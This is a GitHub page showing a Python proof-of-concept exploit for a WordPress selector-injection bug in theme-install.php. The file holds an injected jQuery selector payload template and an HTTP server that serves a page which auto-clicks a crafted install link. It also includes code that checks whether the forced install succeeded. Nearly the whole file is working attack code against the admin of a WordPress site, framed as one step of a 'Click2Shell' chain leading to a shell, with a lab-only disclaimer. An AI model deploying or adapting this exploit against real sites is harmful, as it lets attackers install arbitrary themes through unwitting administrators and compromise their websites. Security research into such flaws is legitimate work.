Repository navigation
Expand file tree
/
Copy pathclick2shell_forced_install_poc.py
More file actions
136 lines (115 loc) · 5.19 KB
/
Copy pathclick2shell_forced_install_poc.py
File metadata and controls
136 lines (115 loc) · 5.19 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#!/usr/bin/env python3
"""
Click2Shell primitive #1 — Standalone forced theme install (lab use only)
=========================================================================
The WordPress Core bug by itself (no RCE): an unauthenticated attacker crafts
a theme-install route whose value is interpreted TWICE:
* WP.org Themes API -> canonicalizes it to a real catalog slug and returns
that theme's genuine record.
* wp-admin/js/theme.js -> drops the RAW value into a jQuery selector:
div.theme[data-slug="<PAYLOAD>"] ...
The injected quote closes the attribute selector, child combinators walk
into the theme card's action controls, and a trailing /* */ comments out
the selector fragment WordPress appends -> the Install button clicks itself.
Impact alone (pwn.ai assessed High, CVSS 3.1 7.1): one visit by a logged-in
Administrator silently installs ANY attacker-chosen theme from the official
WordPress.org catalog. No Install/Activate click, no attacker account.
ONLY test against an isolated WordPress (< 7.1.1) you own / are authorized
to test. Patched in WordPress 7.1.1.
NOTE: exact selector-injection string is a template — copy the verbatim value
from the pwn.ai article (pwn.ai/blog/click2shell) into SELECTOR_PAYLOAD.
Usage:
python3 click2shell_forced_install_poc.py --target http://wp-lab.local \
--theme twentytwenty --lport 8001
# admin visits http://ATTACKER-IP:8001/ while logged in, then:
# check http://wp-lab.local/wp-content/themes/twentytwenty/style.css -> 200
"""
import argparse
import http.server
import socketserver
import threading
import urllib.parse
import requests
SELECTOR_PAYLOAD = (
"{slug}'\"] > .theme-actions .install-theme /*"
)
PAGE = """<!doctype html><html><head><meta charset="utf-8">
<title>Forced-install lab PoC</title></head><body>
<h1>Click2Shell primitive: forced theme install</h1>
<p>Logged-in admin of the lab site: the link below auto-installs
<b>{slug}</b> from WordPress.org. The theme stays inactive; the visible
theme never changes.</p>
<p><a id="go" href="{route}">Open crafted theme route</a></p>
<script>
window.addEventListener("load", () => setTimeout(
() => document.getElementById("go").click(), 1500));
</script>
</body></html>
"""
def build_route(target: str, slug: str) -> str:
payload = SELECTOR_PAYLOAD.format(slug=slug)
return f"{target.rstrip('/')}/wp-admin/theme-install.php?" + urllib.parse.urlencode({"theme": payload})
class Handler(http.server.BaseHTTPRequestHandler):
target = ""
slug = ""
def log_message(self, *a):
pass
def do_GET(self):
if self.path == "/":
route = build_route(self.target, self.slug)
body = PAGE.format(slug=self.slug, route=route).encode()
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
print(f"[+] Attack page served. Crafted route:\n {route}")
else:
self.send_error(404)
def verify_install(target: str, slug: str) -> bool:
"""A freshly installed theme exposes its style.css under wp-content."""
url = f"{target.rstrip('/')}/wp-content/themes/{slug}/style.css"
try:
r = requests.get(url, timeout=15)
ok = r.status_code == 200 and "Theme Name" in r.text
print(f"[{'!' if ok else '-'}] GET {url} -> HTTP {r.status_code} "
f"{'(theme is installed)' if ok else '(not installed yet)'}")
return ok
except requests.RequestException as e:
print(f"[-] verification request failed: {e}")
return False
def main():
ap = argparse.ArgumentParser(description="Click2Shell forced-install lab PoC")
ap.add_argument("--target", required=True, help="Lab WP base URL")
ap.add_argument("--theme", default="twentytwenty", help="Catalog theme slug to force-install")
ap.add_argument("--lhost", default="0.0.0.0")
ap.add_argument("--lport", type=int, default=8001)
ap.add_argument("--verify", action="store_true", help="Poll style.css to confirm installation")
args = ap.parse_args()
Handler.target = args.target
Handler.slug = args.theme
srv = socketserver.TCPServer((args.lhost, args.lport), Handler)
threading.Thread(target=srv.serve_forever, daemon=True).start()
print(f"[+] Serving on http://{args.lhost}:{args.lport}/")
print(f"[+] 1. Logged-in admin visits the attack page.")
print(f"[+] 2. Crafted route makes WP install '{args.theme}' by itself.")
if args.verify:
import time
print("[+] 3. Polling for installation (Ctrl-C to stop)...")
try:
while True:
if verify_install(args.target, args.theme):
break
time.sleep(10)
except KeyboardInterrupt:
pass
else:
print("[+] 3. Verify manually:")
print(f" curl -s -o /dev/null -w '%{{http_code}}' "
f"{args.target.rstrip('/')}/wp-content/themes/{args.theme}/style.css")
try:
threading.Event().wait()
except KeyboardInterrupt:
print("\n[+] Shutting down.")
if __name__ == "__main__":
main()